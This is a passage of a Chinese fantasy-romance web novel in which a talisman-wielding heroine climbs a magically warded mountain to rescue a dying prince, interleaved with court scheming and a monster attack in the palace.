“哀家为他祈福遭劫,他却连见都不肯见哀家一面,一个还未入门的王妃,到让他这般上心。”
桂嬷嬷让宫女收拾干净退下,这才跪在床榻边一边给她捏腿一边劝,“太后您多保重凤体,皇陵一事,就算太上皇也是要求着您的。”
太后的脸色这才好看了一些。
“若不是九龙阵护着大周的气运,他哪有力气插手皇帝的决策。此事不急,那个**不是懂些术法吗?太上皇这般器重她,那就让她去试试。”
“对了,秦明朗的伤势如何了?”
桂嬷嬷忙道,“太医院的人传话过来,说伤的不轻,有丧命之险,正在全力救治。”
太后想起护国寺的危险。
眸中闪过狠厉。
“墨云寒始终是恨着哀家,为了那个贱妇,太上皇也恨着哀家。可若不是哀家心慈,又岂能容一个贱种活到现在!”
“那**不是秦明朗的旧相好吗?九王高贵看不上秦明朗,哀家就抬抬秦明朗的位分,去请皇上过来。”
……
护国寺所属县衙内,
县令忙的脚不沾地,从昨晚到现在连口水都没喝。
刚坐下打了个盹,师爷就急匆匆走了进来。
“大人,被秦将军生擒的那个贼子服毒**。”
“什么?”
县令急的从椅子上给摔了下来。
“**?你们怎么办差的,太后在我们的地界遭遇袭杀,要是交不出一份合理的解释,本官这乌纱帽就要被摘了。废物东西!”
师爷也知事情严重,
“大人,要不然把罪名扣在护国寺僧人的头上。抓几个回来严刑拷打,定然能呈上一份供词。”
县令停下转悠的脚步,抬眸看向他。
“护国寺的那群高僧可是很受京城权贵们的追捧,这事要做的毫无漏洞。”
师爷低语。
“大人,高僧咱们不懂,小沙弥死几个应无大碍。”
县令眼中亮光一闪。
这时铺快急匆匆进来,“大人,师爷,抓到一个可疑的书生,说是九王府的人,叫郑成业。”
“九王?”
县令和师爷对视一眼齐齐问道,“他做了什么?”
捕快道,“我们巡山,看到他躲在护国寺的后山,身上还沾了血,衣服也是破的,显然贼人打斗的时候他就在现场,因撤退不及时,才躲在后山被我们擒到。”
县令大喜。
当下沉声喝道,“皇子犯法尚且与庶民同罪,不能因为此人来自九王府就徇私舞弊,定然要好好问询,查个水落石出!”
……
“”去玄灵山的路,江清婉并不认识。
可猎鹰认识,根本不需要她掌管缰绳,一
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路疾驰,朝着目的地狂奔,停都没停下。
几个时辰的颠簸。
到了玄灵山下的时候,
江清婉感觉半条命都没了,双腿发软的从马背上滑下来,连滚带爬的走到路边扶着一棵树哇哇一阵吐。
她早上就没吃饭,又紧绷着神经连番折腾,这会让肚子里空空如也。
虚的她额头上冒了一层又一层的虚汗。
别说去找墨云寒了,她连站都站不住。
“赤森,你……你在吗?”
一道黑影从不远处的树上一跃而下,完全没有上前帮她的意思。
声音更是毫无波澜,连气息都稳得吓人。
“此处,并未有敌袭!”
意思很明显。
除了有人来杀江清婉,否则其他事,他不会插手。
江清婉连骂人的力气都没了。
伸着小手问,“有吃的吗?”
赤森摇头。
“水呢?”
赤森依旧摇头。
江清婉生无可恋的看着天空。
顿了好一会儿幽幽开口。
“太上皇也不想墨云寒死吧。”
赤森依旧没动。
江清婉又道,“我很饿,很渴,很累,你要是不管我,我可能撑不过今天,到时候墨云寒也得死。”
她眸子转向赤森。
“你信也好,不信也好。除了我,没有人找得到他。”
四目相对,赤森从腰间摸出水囊和一包肉干,上前几步放在了她面前。
江清婉也没客气。
可那肉干不仅硬,除了咸再没别的味道。
简直难以下咽。
她就着水勉强吃了几块。
“太难吃了,等会去山上抓只兔子烤了吃。”
赤森面无表情的看着她将水袋和包着肉干的油纸包塞进了怀里。
嘴角终于忍不住抽了抽。
所以,很难吃却还占为了己有。
这女人,又弱又不要脸皮。
稍稍恢复了些力气。
江清婉这才看向不远处的玄灵山。
自山下望去,一眼看不到顶。
巍峨的山峰,透着清澈稀薄的灵气,
一道淡淡的金光自山脉之下如莲花般聚拢而起,一路绵延到山顶,却并未有闭合之势。
这护山大阵,竟然是个活的阵法。
第129章 奇妙的阵法
猎鹰识途,停的地方肯定就是墨云寒和夜七上山的位置。
可江清婉看了半天,也没看见强行闯入破坏的痕迹。
难道这阵法还会自动复原?
若真是如此,设阵之人,绝对是个高手。
要想确认阵法是否真的完好,必须登顶。
居高而视,方能看出些端倪。
“进山吧。”
她站起身,一活动双腿就疼的她发颤。
双腿内侧肯定被马鞍磨破了皮。
等救了墨云寒,必须要他一千两黄金的报酬,否则亏大了。
她给自己用了止疼的符,总算不那么难受了。
赤森跟在她身后,却被一道强大的力量弹飞出去。
他见江清婉进的轻松,并没有防备,踉跄着险些仰面摔倒。
江清婉站在阵法中看着他。
“哎呦,忘记了,你虽然武功很高,可你进不来。”
赤森总觉得这女人在报复他刚刚的不管不问。
掌心猛地汇聚内力,抬手就要砸。
江清婉赶紧叫停。
“这阵法蛮力破不开。”
她从荷包里摸出一张空白符纸,隔空画了几下,将手伸出阵法外。
“贴在身上。”
赤森看着那张依旧空白的符纸,抿了抿唇。
“快点啊!”
江清婉催促,小手也跟着抖了抖。
赤森接过往身上一拍,指尖的符纸竟神奇消失,连半点灰尘都没有留下。
他面具之下的眼睛里透出诧异之色。
“你……你真的是天师?”
江清婉扬起下巴。
“那当然,我超级厉害,所以别在我面前耍心机,我有一百种方法神不知鬼不觉的弄死你。”
有这个一个高手在身边,不知目的。
实在是一件不怎么舒服的事情。
赤森只觉好笑。
就连燕云青跟他过招也得好好打起精神来。
这个手无缚鸡之力的女人,竟然威胁上他了。
他再次抬步上前,这一次,果然没有了阻力。
他活动了一下肩膀,从腰间抽出一把通体幽暗的**。
“你知道这只**杀过多少人吗?”
江清婉下意识的往后退了半步。
那**之上,森然戾气已泛起了红光。
绝对沾染了百人以上的血。
她低咳一声,“劝你别随身携带这种凶器,上面的煞气会侵入你的身体,影响你的命格。”
赤森从六岁开始**。
对这些话半点不忌讳。
他故意将**合上重新塞进了腰间。
江清婉暗暗翻了个小白眼,再次抬头看向高耸的山。
有些认命的叹了口气,“爬吧。”
玄灵山根本没有路,就算是山脚下,也是植被丛生乱石堆砌。
就算是身手敏捷的猎人,也不好往上爬,更别说是江清婉。
走了半炷香的时间,一回头,依旧能清晰的看到猎鹰的大马头。
赤森很是无语。
“以你的脚程,三天也上不到山顶。”
江清婉气喘吁吁的停下脚步,扶着一旁的小树抹了把汗,样子极为狼狈。
反观赤森,周身连半根小杂草都没沾染,身轻如燕的站在一块石头上,居高临下又颇为嫌弃的看着她。
面具之下的薄唇掀了掀,“好厉害的天师。”
江清婉呵呵两声。
忽地朝他张开双臂。
“背我。”
赤森被惊得往后退了一步。
这女人是疯了不成。
身为未来的九王妃,连点礼义廉耻女德女训都不知。
他冷声拒绝。
“太上皇命我护你周全,未曾交代此事。”
说罢转身要走,忽觉胸口一阵滞疼,脚步都钉在了地上。
他眯了眯眼,周身杀气陡升。
“你算计我?”
江清婉白嫩的手指夹着一张符纸。
“是啊,你那么厉害,万一不听话,我岂不是要把命交给你。现在给你三条路选,要么杀了我,要么闭嘴背我上山,最后一条,我慢慢爬,你慢慢疼,三日之后墨云寒连同九王府众人齐齐被砍了脑袋,我送你回太上皇那里交差。”
赤森十岁入赤甲卫,跟随太上皇杀伐二十一年,如今身为赤甲卫首领,还是第一次被人成功胁迫。
还是这么一个他一根手指就能把骨头碾碎的小丫头片子。
江清婉再次碾动手指。
那股钻心的疼随之袭来。
显然,威胁真实存在。
“好,我背你。”
江清婉在他的注视下,指尖凝着灵气让夹着的那张符纸凭空消失。
断了他抢走的念头后再次张开双臂。
赤森的双腿恢复了行动力,大步逼近。
在江清婉惊呼声中一把扛在了
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肩膀上,脚下一点,将轻功施展到最快,朝着山顶疾驰而去。
杂乱的树枝,铺头盖脸地砸来。
江清婉紧急启动了周身的防护阵法,才不至于被抽成猪头。
可免去了这个,却没法免去颠簸。
忍了半天,实在忍不住,哇的一口,全吐在赤森的身上。
疾驰的脚步骤然停下。
江清婉能感觉到身下男人僵硬而又冰冷的杀意。
她艰难的掏出帕子擦了擦嘴。
“好不容易咽下去的肉干,可惜了。”
此刻,赤森真的想**。
两个人互相嫌弃互相警惕着折腾了两个多时辰,天都黑了,才看到了山顶。
饶是赤森轻功超绝,此刻也被折腾的有些疲惫。
江清婉却恢复了些力气,一边朝着山顶走一边观察这四周灵气的流动。
此刻她已经可以确定,这个活的护山大阵并没有任何损坏,应该是吸收了山中灵气自动复原。
她半步没停,硬撑着爬上了山顶,站在最高处往下看。
越发惊艳于布阵之人的手法。
既大胆又自信。
以天地山为三社,拘灵于阵中,却又将阵眼与生门、死门三门合一。
若想真的破掉护山大阵,唯一的方法就是从天而降,攻破未闭合的阵眼。
可这么高的山,除非真的是天外飞仙。
当然,像她这样从山下入阵,登临山顶一样可以破阵。
但是且不说上山有多难,这护山大阵要以皇家血脉血祭才可入阵,若非她身上有无根水的符箓,也不能带人进来。
皇家之人破皇家的护山大阵,本就相驳。
她蹲下身,单手抚上地面。
金色的纹路细细密密的在掌心下蔓延。
果然,死门必杀。
一旦真有人突破了一切前来破阵,血祭之人将会被护山大阵吸收殆尽,成为枯尸,而随其入阵的人,也难逃一死。
这就是一个循环的死局。
实在精妙!
她将手收回,赤森也已经上来。
“这一路也没见你寻人,九王在何处?”
江清婉只顾着感叹阵法奇妙,闻言这才回神。
护山大阵自动复原,难不成吸收的是墨云寒的生机?
她心头一紧,赶紧拿出罗盘。
正准备找人,耳边忽然听见一道极为熟悉的鸣叫声。
第130章 下崖
江清婉立刻环顾四周,却什么都没有看到。
难道是幻听了?
她看向赤森。
“你有听到什么吗?”
“你指的是什么?”
“狐狸的叫声,你听见了吗?”
赤森摇头,“没有。”
以赤森的耳力,应该比她更为敏锐。
江清婉敛下心神,再次准备起卦。
可耳边却再次听见了熟悉的鸣叫。
这一次比刚刚的更要清晰。
就是她的小红。
可它不是在祁连山中修炼吗?怎么会跑来这里?
她立刻闭上双眼,白净的眉间一朵金莲一闪而逝。
狐狸的低鸣自山崖下而来。
确定好方位后她立刻睁开眼冲了过去。
玄灵山断崖极陡,崖底常年弥散着云雾,根本什么都看不清。
“你干什么?”
赤森快速走到她身边,跟她一样看向崖底。
“九王在下面?”
江清婉的脸色冷凝如霜。
“去找藤蔓,把我送下去。”
赤森不语,捡起一块石子飞射而出。
许久许久都没有听到回声。
“你知道这崖底多深吗?你下去,必死无疑。”
江清婉再次听到了小红的求救声。
她转头看向赤森,眸色冷厉。
“我说了,去找藤蔓!”
赤森被她眼底的凌厉惊了一下。
片刻后回神。
“藤蔓没用!会被断崖上的石头隔断。”
江清婉也看向崖壁,的确遍布着不规则的石头,有些异常锋利。
她的眉心瞬间皱起。
“我必须下去。”
她正想用什么法子,腰间忽然多了一只大手,猛地上提,她便到了赤森的后背。
“抓稳,我试试。”
江清婉知道,他背她下去,冒了极大的风险,一个不慎,就会死无葬身之地。
她收紧手臂尽量让自己贴紧不妨碍赤森行动。
“多谢,我不会让你有事。”
温软的语调蹭过耳边,真挚诚恳。
赤森不由怔了怔,什么话都没说,左右手各抽出一把**,飞身跃下。
好在崖壁上林立的石头,给了他们支撑。
他如猿猴一般靠着**扎入石头的着力平稳往下走。
很快两个人的身影就淹没在云雾之中。
潮湿的空气让视线变得不太清楚,而常年浸润在这种空气中的崖壁生出了密密麻麻的绿苔,异常湿滑。
赤森的脚根本站不稳,完全靠着手臂的力量才能稳住身形。
刚刚一路上山也没有停歇,这会儿内力消耗大半,喘气也变得很粗。
江清婉并没有关注他的情况,而是一直在聆听小红的召唤。
“快了,再往下走走。”
赤森也不知自己为什么疯了一样竟然同意这般下崖。
若一个失足,谁也别想活。
他稍稍活动了一下脚尖。
湿滑的石头凸起让他的身形又危险的踉跄了一下。
好在有往下走了一会,江清婉看到了一只红色狐狸趴在一块伸出来的巨石上。
似乎感应到她的靠近,立刻仰起头再次发出低鸣。
这一次赤森也听到了。
“真的有狐狸?”
为什么这女人的听力比他还厉害?
“我们快过去。”
江清婉在后面催他,赤森也没再费神多想,看清位置,朝着巨石飞跃而下。
好在石头上的苔藓有擦过的痕迹,两个人虽踉跄了一下,却并没有出现意外。
“小红。”
江清婉从赤森身上下来,立刻走到红狐狸身边查看。
见它后腿骨折,又被人用木棍和布条包扎过,伤势不算太重。
红狐狸已有百年寿数,早就通了人性。
虽暂时无法化形,也不能言语,但是江清婉曾与它有个契约,可听懂它的话。
她没想到小红会私自下山来找她。
要知道山下的灵气远不及祁连山,对它修行无益。
它来玄灵山估计也是看中了山中的灵气,想滋补一下,没想到会坠崖。
小红的大脑袋扎进江清婉怀里告状。
小爪子还往身后的山洞内指了指。
江清婉抬头,幽暗的山洞内什么光都没有。
再加上云雾缭绕,什么都看不清。
她拍了拍小红的脑袋,“我知道了,等下我去看看是谁把我们这么可爱的小红推下了山崖,我给你报仇。”
红狐狸仿佛找到了依靠,扬起脑袋得意的晃动着尾巴。
那姿态真的像是听懂了人言。<
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br>看着这一幕,赤森脑海中忽然浮现出另外一个女人。
穿着异族的长裙,头上戴着红宝石的额饰,冷艳如仙。
她养了一只可通人言的小老虎,和眼前这只红狐狸被驯服的样子,几乎一模一样。
“赤森,你有火折子吗?”
江清婉的声音将他的思绪拉回,他将火折子摸出吹出火焰,并没有交给江清婉。
“我在前面。”
两人外加一只瘸腿的红狐狸沿着黑漆漆又狭窄的甬道往里走。
滴滴答答的水声,不断传来。
走了没多久,就看到一个男人狼狈的靠坐在地上,身上的衣服是破的,一条手臂上全是血,早已昏死过去,不是墨云寒,还能是谁。
红狐狸呜咽着继续告状。
它正开心的吞噬者天地灵气,这男人就跟魔怔了一样扑了过来。
绝对是要杀狐。
要不是他临时幡然醒悟,拽着它上了巨石,它一定咬死他以报此仇。
它摇着尾巴等着江清婉给它出气。
江清婉看清墨云寒的脸后心中猛地一紧,仿佛被一只大手死死攥住,疼的厉害。
赤森上前查看。
“脉搏很弱,必须尽快回京。”
江清婉连续深吸几口气让自己的情绪冷静下来,这才上前蹲在墨云寒身边。
她猜的没错,这护山大阵的确在吸收墨云寒的生机。
她能看到那些丝丝缕缕的线从他身上抽离。
他双腿的黑气和他头顶的功德圣光在疯狂的互相餐食,同样在损耗着他的生机。
她抬手轻轻摸了摸男人冰冷的脸颊,眼眶通红。
“我说过会救你,交易没结束之前,你不能砸我招牌,接下来,你咬牙给我撑住。”
她从腰间荷包里将剩余的三颗丹药全倒了出来。
红狐狸闻到味道,晃动着大脑袋凑了过来。
江清婉一把将它推开。
“你只是断了条腿,死不了。”
说着掰开墨云寒的嘴将三颗丹药一股脑的塞了进去。
红狐狸急的往前扑。
说好的给它报仇呢,为什么还把好东西给这个臭男人。
它没抢到半颗丹药,气的仰起肚皮横在二人之间,大有一种我不干,我耍赖,我哄不好的架势。
第131章 放下屠刀的魔
江清婉拍了拍它的大脑袋。
“出去乖乖守着,我就带你回家。”
本来还耷拉着脑袋耍赖的红狐狸瞬间支棱起耳朵,二话不说拖着伤腿一瘸一拐的出了山洞。
江清婉抬头看向赤森。
“火折子留下,你也出去。”
赤森看了眼依旧昏迷的墨云寒。
想起太上皇的交代,没有反驳,将火折子递过去转身走了。
山洞外,火狐狸这会儿没有趴着,而是雄赳赳气昂昂的蹲坐着,漂亮的毛发被崖边的风吹得异常柔顺。
听见脚步声还回头警惕的看了一眼,在看到是赤森而不是江清婉后,又高傲的扬起大脑袋,半点眼神都没给。
天已经彻底黑了下来。
圆月高悬,却因为崖底的雾看不真切。
那只红色狐狸仰头望月的姿态,更是透着诡异的神秘感。
赤森忽然开口。
“小狐狸,你能听得懂人言?”
红狐狸只是耳朵动了动,并没有回头看他。
山洞内,火折子的光照在墨云寒苍白的脸上。
他依旧毫无反应。
江清婉的指尖一直搭在他的手腕处,能清晰的感觉到他脉搏的变动。
一双眸子透着冷静的凝重。
在她身下,赤金色的八卦阵缓缓绽开。
形成一个小小的莲花包,将二人包裹在其中。
与此同时,护灵卫再次收到护山大阵异动的消息。
可张衡水还没回来,副将和几个千户急的团团转,立刻召集精锐去皇陵入口防守,同时派人快马加鞭将消息送进皇城。
此刻的墨云寒,再次看到了那片宛若世外桃源般的仙境之地。
桃香,溪流,仙鹤,灵草……
可这一次,他感觉自己走了很久,却再没看到那个仙子。
周围仿佛有无数种声音,却又静谧的连只言片语都达不到心底。
恍惚中,一只红色的狐狸出现在远处。
在他的注视下,缓缓褪去了皮**,幻化成一道曼妙的身影。
未着寸缕,肤如凝脂白雪,却独独不见五官,脚下生莲,踩着月光一步步走近。
有声音在耳畔响起,清晰入心,千娇百媚,勾魂摄魄。
“你在寻我?”
“你是妖?”墨云寒一眨不眨的盯着,声音低哑,听不出任何情绪的起伏。
女子笑着冲他勾勾手指。
“你不是亲眼所见吗?”
下一刻,一只大手猛然袭来,狠狠掐住了她的脖子。
“你怎么能是妖!”
烟雾散去。
墨云寒的双眸赤红,手上力度没有半分怜香惜玉,甚至能听见骨头错位的咯吱声。
妖的五官依旧模糊,似镜花水月一般。
他努力想看清,却依旧一无所获。
那妖似乎不知道疼,抓着他的手腕声音依旧无比清晰。
“你到底在找什么?”
“你到底在找什么?”
这句话如魔咒一般在四周响起。
一字字敲进墨云寒的心底。
是啊,他到底在找什么?
他已经找到了化妖的证据,已经亲眼看到了妖化人形,可他为什么愤怒。
是愤怒母妃舍他而去,还是愤怒,原来他真的是妖人之子。
幼时所受的苦,少年手持**奋勇杀敌时心中坚守着的信念,双腿被疼痛折磨知道命不久矣的不甘……
密密麻麻如一张又一张网将他层层笼住。
所有坚持渴望的一切,都彻底崩塌。
他如失去了一飞冲天执念的风筝,绳子断裂的那一瞬间,被四处而来的风,撕扯了个粉碎。
“噗!”
鲜血喷涌而出。
指尖下的脉搏已经彻底乱了。
江清婉心急如焚,已经顾不得脖子上被掐住的青紫,盘腿坐在了脏污潮湿的地上,双手迅速结印,一朵小小的金莲自心口而出,被她猛地点在了墨云寒的眉心。
洞外守着的红狐狸察觉到异常,迅速转头冲着洞内呜咽不停。
赤森意识到不对劲,正准备冲进去看看,红狐狸却在眨眼间挡在了他前面,呲着牙,满眼凶狠,仿佛下一刻就能扑上来咬断他的脖子,再没有之前的温顺。
赤森看向洞内。
一股股异常的气流涌动翻滚,吹得他衣袍翩飞。
他的眼底闪过昏暗不明的光,脚步停住没有硬闯。
此刻的墨云寒已经被黑暗彻底吞噬,意识被蚕食殆尽的瞬间,忽听有人唤他。
声音轻而急。
他感觉到一只小手穿过黑暗的深渊,拉住了他的衣襟。
拼尽了全力试图将他拉出去
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。
他不想出去。
他是妖,是邪祟,是大周所有人眼里不能容忍的恶煞,是会毁掉一切的罪孽根源。
早该在他出生那年就应送去玉琼台火刑祭天。
“墨云寒,你不准死,你**,我怎么办!”
那轻而急的声音再次响起。
拽着他的小手,已经在颤抖,显然即将力竭。
他**,皆大欢喜。
没有人需要他!
百姓不需要,皇室不需要,周围任何人都不需要……
忽然一道清雅隽秀的身影在脑海中缓缓浮现,满头乌发被一只碧玉簪别着,慵懒随性,似对任何人都不曾入心。
她拿着明黄的圣旨倾身过来。
“墨云寒,你为什么要娶我?”
“墨云寒,他日我要离开,你不许拿着赐婚的圣旨拦我!”
“墨云寒,你的腿我一定治好。”
“墨云寒……”
“咳……咳咳咳咳咳……”
腥甜的鲜血呛得人气道几乎窒息,却又被陡然涌进来的冰冷潮湿的空气刺激的无法正常呼吸。
他接连咳出好几口鲜血,整个胸腔才顺畅起来。
混沌的视线也随之变得清醒。
眼前是昏暗潮湿的山洞,地上微弱的火折子散发着淡黄色的光,只能照得见半尺的范围。
“江清婉?”
他下意识伸手。
触碰到一截裙摆。
江清婉靠坐在他的对面,此刻脸色白的像鬼,身上的衣服更是脏污不堪,有血,有泥水。
她的发髻都已经被汗水浸湿,藏在袖子里的手,轻轻的颤抖着。
这一次,真的亏大发了。
墨云寒顺着裙摆摸到她的小腿,温热的触感终于让他有了回到现实的踏实心安。
他急切的想要确认,却被那只小腿轻轻踹在了胸口。
“别乱摸。”
熟悉的声音,也只有那女人才敢做的动作,让他心中如拨云见日。
他重新跌坐在地上,忽地吃吃笑了起来。
冷峭的唇沾着鲜红的血,冷如神祇的脸上在微弱的光线里,透着释然的松弛,仿佛放下了屠刀的魔,在这一瞬间,有了成佛的神韵。
低沉磁性的声音,此刻变得干涩沙哑。
“江清婉,无论你要什么,本王都允你。”
第132章 小红是公的
山洞内一片静谧。
有风裹挟而来,又湿又冷。
江清婉扶着墙壁颤颤巍巍的站了起来,什么都没说,转身往外走。
刚走了一步,就被拽进了一个硬实的怀抱里。
微凉的唇落在她脖颈处轻轻蹭了蹭。
“江清婉,你说话。”
腰上的手一下下收紧,好像要将她嵌进骨肉之中。
本就损耗了大半修为才把人救活的江清婉气的翻了个白眼。
推又推不开,被他这般抱着,站都快站不稳。
男人还不自知,唇瓣在她脖颈处一阵造次,呼吸又急又喘。
刺激的她半截身体一阵阵酥麻。
她实在受不了,张口咬在了男人的耳垂上。
“墨云寒,放手!”
男人身体僵住,下一刻,忽地疯了一般噙住她的下巴凶狠而又霸道的吻上了她的唇。
裹挟着鲜血的味道,汹涌的吸走了所有的空气,像是在确定什么又像是在寻找什么,疯狂的,不知餍足的拼命亲着她。
她挣脱不开,窒息感一阵阵袭来,只能发出呜咽的低泣。
伴随着打着旋儿的风吹进了赤森和红狐狸的耳朵里。
相对峙的一人一狐全都转向洞口。
赤森总觉得这声音有点……
不等他反应过来,红狐狸已经飞窜了进去。
他怕出意外,也紧跟着冲了进去。
霸王硬上弓的场景被一只红狐狸尖锐的鸣叫打破,场面一度混乱。
半炷香之后,三人一狐全站在了崖边突出的巨石上。
红狐狸紧挨着江清婉,气的用爪子在咯吱咯吱挠着地。
两步之外的墨云寒低低咳嗽一声,不太清澈的月光照在他冷峻的左脸上。
其上多了几道被抓出来的红痕。
赤森环抱双臂靠在洞口的位置,面具之下明显憋着笑。
尴尬又诡异的气氛僵持了许久。
江清婉一把拍在红狐狸的脑袋上,“别挠了,吵**。”
红狐狸委屈的往她怀里钻,差点直接给她推下去。
惊呼声还未出口,墨云寒就闪现在她身边,大手一捞将人扣在了怀里。
指着又想扑上来的红狐狸道,“你一个女妖,还想抢本王的王妃,活腻了!”
江清婉用一种你有病的眼神看向他。
“女妖?”
红狐狸这次不磨爪子了,呲着牙眯着眼,杀气盈满。
墨云寒冲着它微微扬起脖子,大有一种破罐子破摔之后的无惧无畏,又故意用力将江清婉往怀里带了带。
“她是我的!”
江清婉无语的翻了个白眼。
“小红是公的。”
墨云寒反应了好一会儿才意识到她说的小红是谁,难以置信的低头看向她。
“男妖?”
不对啊,他明明看见的是化形的女妖。
难不成这妖怪可以男女随意变形?
那他的母妃……
江清婉再次无语的给了他一个白眼。
“小红是一只公狐狸,不是男妖。”
周围云雾缭绕,墨云寒再次产生了一种不真实的错觉。
难道他还再幻境之中?
他下意识的抱紧怀里的人,伸手急切的去抚摸江清婉的小脸,拇指蹭过她被亲的红肿的唇,俯身又想继续……
赤森低咳一声。
“九王殿下,我们是不是先想办法出去。”
墨云寒的思绪被骤然拉回,他抬头看向赤森。
眼底的忐忑柔情瞬间消失。
一颗七上八下的心也渐渐回归原位。
无论是幻境还是梦境,赤甲卫都绝对不可能出现。
所以眼下,就是现实世界。
他抬头看了看上方,回忆着坠下来时的高度,冷冷开口,“你带着那只公狐狸。”
说罢脚下一点,抱着江清婉,飞跃而上。
赤森大吃一惊。
“你的伤……”
视线中,墨云寒即便抱着一人,依旧身轻如燕,甚至连用兵器借力都不需要。
踏雪无痕的轻功造诣让赤森不由眯了眯眼。
一个伤重到快死的人,怎么可能在这么短的时间内恢复功力。
刚刚山洞内到底发生了什么事?
他正思索,脚边袍子就被狠狠拽了下。
他回神低头,就看到红狐狸急的在催他。
那双漂亮的眼睛里,真的透着人性。
今夜发生的所有事情都异常诡异,他想不通,也没敢耽搁,单手抱起红狐狸也飞跃而上。
下崖时不知深度和危险自然要谨慎,上崖时却并不算难。
很快三人一狐在玄灵山山顶汇聚。
皎白月光下,一切都看的更加真切。
墨云寒看到了江清婉脖子上被掐出来的青紫痕迹。
还有那只瘸了腿的狐狸,它并没有化形,气鼓鼓撅
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起来的屁股,也的确看出是一只公狐狸。
他压下繁杂的思绪看向躲开他坐在石头上休息的江清婉。
“夜七呢?怎么会让你一个人来这种地方?”
赤森出言提醒。
“九王殿下,卑职还在。”
墨云寒抬手指了指下山的路。
“本王没死,你可以回去复命了。”
江清婉抓起脚边的石头丢了过去,正好砸中他的腰。
“如果不是赤森背我上山,等我找到你,你已经死在山洞里了。”
“他背你?”
墨云寒眸色一凛,周身气压骤降。
赤森感觉到许久未曾有过的危险,经年累月的杀气也随之被激发。
两相碰撞,红狐狸的毛发都被刺激的竖了起来,发出低声鸣叫,身体又往江清婉旁边靠了靠。
感受到它的不安,江清婉抬手揉了揉那颗大脑袋。
“不用怕,他们打不起来,就是耍耍威风,找找存在感,是不是又傻又幼稚?”
刀光剑影的杀气瞬间消散。
又傻又幼稚的两个男人对视一眼,齐齐别开了头。
“下山吧,找个地方我休息一下,明天再回京。”
她需要看看,等他们离开后,护山大阵还能否完好。
若是存在残缺,以她现在所剩无几的修为,怕是真的补不好。
她烦躁的朝墨云寒张开手。
“背我。”
刚刚还低气压的男人闻言眉宇瞬间染了喜色。
上前两步将人打横抱起,狭长的黑眸随意扫过赤森。
“你不是喜欢背人吗?那只公狐狸交给你了,背它下山。”
赤森面具之下的表情再次出现龟裂。
这还是那个煞神九殿下吗?
不过他更奇怪,这人的伤,真的全好了吗?
他抱起红狐狸运起轻功,提气到极致飞驰而去。
可无论他怎么追,墨云寒的身影都在前方。
此时此刻他无比清晰的确认了一点。
墨云寒的气息平稳,那么重的伤全好了。
不仅如此,他的实力,竟然远超他之上。
曾几何时,那个倔强瘦弱的少年,在他的手中走不过二十招。
武功可以精进,这无可厚非。
可这伤绝不可能在朝夕之间复原。
他想起江清婉喂给墨云寒吃的那三颗药丸,有一种真相,在脑海中呼之欲出。
第133章 干尸
护国寺所属县衙,
彻夜灯火未熄。
寅时一刻,县令正困倦的打着瞌睡,师爷拿着一张供纸匆匆走了进来。
“大人,成了。”
县令的困意顿消。
“快快呈来。”
看完供纸内容和下面画押的名字手印,他顿时松了口气,又急忙问了句。
“可有伤着?”
师爷立刻摇头,“放心吧大人,绝对不会让人找出屈打成招的任何端倪,郑小少爷完好无损。”
县令这才放下心来。
“如此,总算是能够交差了。天亮以后,我即刻入京。”
师爷却仍有些担心。
“大人,此事一旦呈报,便是得罪了九王爷,属下以为,还是再等一等,若是九王爷未失势,事态仍有转机,这状纸便也用不着了。”
县令闻言捋了捋山羊胡。
“你说的对,可若是皇上怪罪本官办事拖沓,又当如何应对?”
师爷正要开口,忽被咕咕声打断。
窗边有鸽子落下,腿上绑着竹筒密信。
二人对视一眼,皆是心中一凛。
此刻传信,怕是已有定夺。
……
皇宫内,
一处偏僻的宫殿中传来一阵异响。
似有野兽在啃食骨头。
外殿守夜的小江子被惊醒,揉着眼睛看向黑暗的角落。
以为是久不住人,殿里来了野猫,便提着脚边的灯笼准备上前驱赶。
刚靠近,忽然瞥见茂盛的杂草遮挡的石山后伸出一只枯瘦的手。
紧接着一个皮肉包裹着的骷髅头也歪斜了出来。
死鱼一样的眼睛,在灯光下照的异常骇人。
他吓得尖叫一声,整个人跌坐在地上,手里的灯笼也掉了,连滚带爬的往后面躲。
石山后发出不似人声的低低喘息。
一只干尸被丢了出来。
地上滚落燃烧起来的灯笼,照亮了石山后的影子。
小江子惊愕的看着那张满是诡异符箓的脸,还有那双赤红色的眼睛,长大了嘴巴,连声音都发不出。
那人歪了下头,赤红的双眼死死盯着小江子,忽地如豹子一般扑了过来。
电光火石之间,连外衫都没来得及披的墨少泽飞奔而来,一脚将人踹飞出去。
同时拽着已经瘫软在地上的小江子,迅速往后退了几步。
“殿……殿下,怪……怪物!吸人精血的怪物!”
墨少泽不受宠,这次是因为太后遇袭,太上皇又病重,这才有机会被召见入宫,又因昨日未得机会见太上皇,奏请了皇上,被准许留宿一夜。
而这处宫殿,是他幼时随母亲住过的地方。
不仅偏远,又因长久无人居住荒废至今,连个伺候的宫人都没有。
他顺着燃烧的灯笼也看见了那具干尸。
从衣着上判断,应该是个宫女。
这偌大的皇宫死个宫女再稀松平常不过,可这死法着实诡异。
而这人……
他看着那张满是符箓的脸,不由咽了下口水。
“小江子,我拖住他,你去喊御林军过来。”
二人在别院相依为命多年,情谊深厚。
小江子急的摇头。
“殿下,您会功夫,您走!”
他咬牙从地上爬起来就想冲出去拦着逼近的鬼面怪物,却被墨少泽拎住脖领子拽了回来。
“本王的话你都不听了,快去!”
一道粗噶的声音桀桀响起。
“你们都得死!”
小江子吓得浑身汗**都竖了起来。
“殿下……这怪物会说人话。”
话音刚落,那怪物就扑了过来。
裹挟着腥臭的味道,那手黑漆漆的,抓过来的时候,渗出骇人的阴冷。
墨少泽拽着小江子飞速躲闪。
很快就被逼到外殿的石阶处。
眼见无法逃脱,墨少泽厉声道,“去殿内给我找个兵器。”
小江子当下应声,连滚打爬的往殿内跑。
自从墨少泽被遣送到别院,这宫殿再没人进来。
小江子熟门熟路的冲进书房,从架子上拿下一把落了灰尘的长刀,快速折返回来。
刚跑出殿门,就看到那怪物已经将墨少泽压在身下,张开大嘴冲着他的脖子狠狠咬了上去。
“殿下!”
小江子心神俱裂,凄厉大喊,抽出刀高高举起拼了命的朝怪物砍去。
人还没跑过去就被一股大力掀飞。
自墨少泽腰间闪现出一道金光,瞬间将怪物弹飞数丈远狠狠撞在了山石之上。
他似极为惧怕那道光,嘶吼着转身遁入黑
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暗之中。
墨少泽大喘着气,空气中腥臭的味道还在,他缓缓抬手,摸到了脖子上滴落的粘稠的涎液。
“殿下!殿下!”
小江子跪趴在他面前,扔掉大刀手忙脚乱的检查他是否受伤。
墨少泽推开他坐起身。
“我没事。”
他手指探进腰间束带,摸出里面的护身符。
那符咒触手的瞬间化成了灰烬,自指尖飘落。
小江子一脸诧异。
